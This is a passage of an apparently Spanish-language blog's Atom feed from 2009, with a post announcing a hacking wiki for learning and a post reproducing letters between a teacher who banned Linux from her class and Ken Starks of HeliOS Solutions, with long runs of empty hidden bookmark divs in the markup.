src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-8658767459698597139</id><published>2009-02-15T20:19:00.002+01:00</published><updated>2009-02-15T20:23:47.335+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración del Blog'/><title type='text'>Una Wiki de Hacking</title><content type='html'>Sí, ya está. Hemos creado la wiki.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Qué es Hacking wiki? &lt;/b&gt; &lt;i&gt; Una wiki (en español) destinada al aprendizaje y perfeccionamiento del conocimiento, en lo general y en lo específico del área del hacking. &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://es.hacking.wikia.com/wiki/Portada"&gt;Clicka aquí&lt;/a&gt; para ir a la página principal.&lt;br /&gt;&lt;br /&gt;Despedimos la entrada de hoy con dos interesantes links:&lt;br /&gt;http://blogs.msdn.com/e7/&lt;br /&gt;El blog de desarrollo de Windows 7 [en inglés]. Toda la información que quieras, novedades, etc.&lt;br /&gt;&lt;br /&gt;http://programa-con-google.blogspot.com/&lt;br /&gt;El blog oficial de desarrollo de Google. Lectura recomendada ;)&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;&lt;div style="visibility: hidden;" title="1234725529363" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529377" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529389" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529390" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529940" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529941" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529943" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529944" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529946" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529947" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529949" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529950" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529951" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529952" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529955" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529956" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725529958" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725531100" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725531820" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583034" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583036" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583214" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583215" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583216" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583217" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583218" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583220" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583222" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583223" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583223" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583224" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583225" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583226" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725583228" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607073" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607074" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607237" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607238" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607239" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607240" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607242" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607242" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607243" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607246" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607247" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607248" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607249" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607250" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725607252" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725620586" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725620588" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725620593" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725620595" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725620596" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725620603" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725620607" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725620610" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725620612" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725620616" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725620618" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725620620" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725620623" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725675359" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725676196" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725676217" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725676218" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725676235" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697147" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697149" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697150" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697151" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697153" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697314" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697315" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697317" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697318" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697319" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697320" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697322" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697323" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697324" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697325" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697326" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697327" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697328" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697329" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697330" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697331" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697332" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697333" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697334" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697335" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697336" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697337" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697338" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697339" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697340" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697341" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725697418" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698612" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698613" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698615" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698616" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698617" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698618" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698619" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698620" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698622" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698623" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698624" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698625" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698627" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698633" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725698663" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701058" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701317" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701451" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701453" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701454" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701456" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701457" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701458" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701459" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701460" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701461" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701462" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701463" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701465" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725701466" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725707823" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725707855" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725707892" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725707919" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713486" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713487" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713734" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713735" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713737" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713738" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713740" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713741" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713742" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713743" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713745" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713746" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713748" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713749" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725713750" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732088" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732171" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732172" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732175" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732177" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732178" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732179" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732180" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732184" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732185" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732186" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732186" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732188" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234725732191" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-8658767459698597139?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/8658767459698597139/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=8658767459698597139' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8658767459698597139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8658767459698597139'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/02/una-wiki-de-hacking.html' title='Una Wiki de Hacking'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-5085954753229826181</id><published>2009-01-31T17:27:00.003+01:00</published><updated>2009-02-08T22:15:05.388+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Off-Topic'/><title type='text'>Cartas entre maestra que prohíbe linux y responsable de HeliOS</title><content type='html'>&lt;small&gt; &lt;/small&gt;&lt;div class="boxedin"&gt;     &lt;/div&gt;          &lt;p style="text-align: justify;"&gt;Seguramente habrán leído en varios blogs la noticia respecto de una maestra que prohibió a uno de sus alumnos usar Linux, lo regañó (retó debiera decir) y le quitó los discos que repartía entre sus compañeros.&lt;/p&gt; &lt;p style="text-align: justify;"&gt;En &lt;a onclick="javascript:pageTracker._trackPageview('/outgoing/www.ifconfig.com.ar/');" href="http://www.ifconfig.com.ar/"&gt;iFconFig&lt;/a&gt; han traducido un intercambio de correspondencia entre la maestra y Ken Starks de HeliOS Solutions, muy divertidas, la verdad, aunque también entristece un poco notar que la difusión de linux no ha llegado tan lejos como algunos pensábamos. En fin, las cartas:&lt;/p&gt; &lt;p style="text-align: justify; font-weight: bold;"&gt;La de la maestra&lt;/p&gt; &lt;p style="text-align: justify; font-style: italic;"&gt;“… observé a uno de mis estudiantes con un grupo de compañeros reunidos alrededor de su ordenador portátil. Al mirar en su computadora, ví que estaba dando una demostración de algún tipo. El alumno estaba demostrando la habilidad de su laptop y repartiendo discos de Linux. Después de confiscarle los discos lo llame para hablar con el y de esa forma fue como lo descubrí a usted y a su organización Sr. Starks, estoy segura que usted cree fuertemente en lo que hace pero no puedo apoyar sus esfuerzos o permitir que esto pase en mi aula. En este punto, no estoy segura si lo que usted hace es legal. Ningún software es gratis y propagar es idea es nocivo. Estos niños buscan a los adultos para que los guíen y disciplinen. Voy a investigar esto cuando el tiempo me lo permita y quiero asegurarle a usted, que si esta haciendo algo ilegal, voy a levantar cargos de la forma que la ley me lo permita. Sr. Starks, me junto con muchos otros compañeros que trataron con Linux en la universidad y le aseguro que las afirmaciones que usted hace son excesivas y basadas en falsedades.&lt;/p&gt; &lt;p style="text-align: justify; font-style: italic;"&gt;Admiro sus intentos para conseguir computadoras para gente desfavorecida pero poniendo Linux en esas maquinas es retrasar a nuestros hijos.&lt;/p&gt;&lt;p style="text-align: justify; font-style: italic;"&gt;Este es un mundo donde Windows corre en cualquier computadora y montando un circo por un sistema operativo no ayuda a esos niños en absoluto. Estoy segura si usted se contacta con Microsoft, ellos estarían mas que contentos en proveerle copias de versiones anteriores de Windows y de esa manera sus computadoras estrían al servicio de los que las reciban…”&lt;/p&gt;&lt;p style="text-align: justify; font-weight: bold;"&gt;Respuesta de Starks&lt;/p&gt; &lt;p style="font-style: italic;"&gt;Hmmmm….&lt;/p&gt; &lt;p style="font-style: italic;"&gt;Supongo que debería, antes que nada, gracias. Usted me ha dado la oportunidad de mostrarles a los demás que nos enfrentamos a una batalla en lo que hacemos. “Nosotros” somos los que defendemos, apoyamos y usamos el software libre de código abierto y Linux en particular.&lt;/p&gt; &lt;p style="font-style: italic;"&gt;Si usted encuentra mis siguientes palabras duras o poco cordiales, tome un respiro y prepárese… lo que tengo para decirle a usted nos es nada en comparación con lo que está a punto de experimentar.&lt;/p&gt; &lt;p style="font-style: italic;"&gt;Primero, si existiese la mas minima posibilidad de que yo estuviese haciendo algo ilegal, no lo habría hecho. El solo pensar que involucraría a mis hijos en mis actividades “ilegales” es un insulto mas que indignante. Usted debería avergonzarse de si misma por decir esto sin ningún sentido. Y por favor…mire dentro de su corazón. Usted esta a punto de abrir sus ojos, eso es si actualmente investiga algo en absoluto. Linux es un sistema operativo libre de costos y de licencias. Fue diseñado específicamente con ese propósito. Linux se utiliza para liberar a las personas de Microsoft. El hecho de que usted crea que Microsoft es el extremo y el todo es realmente divertido de una manera muy triste. Una vez más, siendo un buen miembro de la NEA, usted echaría a perder la línea del Sindicato. Microsoft ha aportado decenas de millones de dólares a su Sindicato. Por supuesto que usted va a “recomendar” Microsoft Windows. De lo contrario probablemente hubiese sido reprendida al menos y despedida en el peor de los casos. Usted solo esta haciendo lo que le dijeron que haga.&lt;/p&gt; &lt;p style="font-style: italic;"&gt;Usted ha sido bien entrenada.&lt;/p&gt; &lt;p style="font-style: italic;"&gt;No se cuando asistió a la universidad Karen, pero Linux incluso dos años atrás no era nada en comparación con las características y habilidades que hay disponibles ahora. Linux es superior a MS Windows de tantas maneras, estas son muy numerosas para mencionarlas aquí… Y estoy cansado de enumerarlas. A diferencia de Microsoft quien miden sus “mejoras” y entonces se las pasa a usted cada 5 años o las tiene que comprar. Linux lanza sus mejoras sobre su finalización. Recibimos lo mas nuevo y lo mejor del sistema cuando este esta probado y puede ser usado y es estable. Karen, usted no tiene idea en la esclavitud en la que esta trabajando… pero no sabe nada mejor. La vergüenza de esto es, que se encuentre atrapada con millones de otros profesores obedeciendo a la NEA y predicando la bondad de Windows y Microsoft. Un superior, libre y absolutamente entretenido método de manejar su computadora esta al alcance de su mano y no es capaz de alcanzarlo.&lt;/p&gt; &lt;p style="font-style: italic;"&gt;La parte mas preocupante de esto reside en el hecho de que la AISD gasta millones de dólares en software de Microsoft en un año cuando ese dinero podría ser gastado educando a nuestros hijos. Un maestro de escuela dedicado podría reconocer ese hecho ejercer presión para el cambio a software libre de código abierto y dejar que el dinero gastado en MS sea usado en nuestros niños.&lt;/p&gt; &lt;p style="font-style: italic;"&gt;Un maestro que se preocupa por sus alumnos haría esto.&lt;/p&gt; &lt;p style="font-style: italic;"&gt;Esto es triste más allá de mi capacidad de expresárselo a usted. No encadene a sus estudiantes en su prisión de Karen.&lt;/p&gt; &lt;p style="font-style: italic;"&gt;Ahora devuélvale a ese niño sus discos. Aaron es un niño brillante y aprenderá mas usando Linux que usando Windows. Esos discos y su distribución son perfectamente legales e incluso si el fuese un “perturbador” usted no puede quedarse con su propiedad. He hecho una llamada al Superintendente de la AISD y también le envíe una copia completa de su correo electrónico. Parece que nos conoceremos es su oficina cuando la Escuela retome las clases luego de las vacaciones. Estoy ansioso de conocer a una persona quien esta desinformada y aun así mantiene su posición de autoridad y enseñanza sobre nuestros hijos.&lt;/p&gt;&lt;p style="font-style: italic;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="visibility: hidden;" title="1234127008114" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009302" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009304" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009305" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009307" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009308" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009309" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009311" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009312" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009313" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009314" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009315" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009316" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009318" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127009665" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127041952" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127041970" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127041983" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127264844" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127264849" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127264850" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127264851" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127264852" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127264853" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127264855" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127264856" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127341923" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127341932" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127341936" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127342044" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127342045" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127342048" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127342049" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127342051" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127342052" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127342055" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127342056" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127342057" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127342058" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127342060" 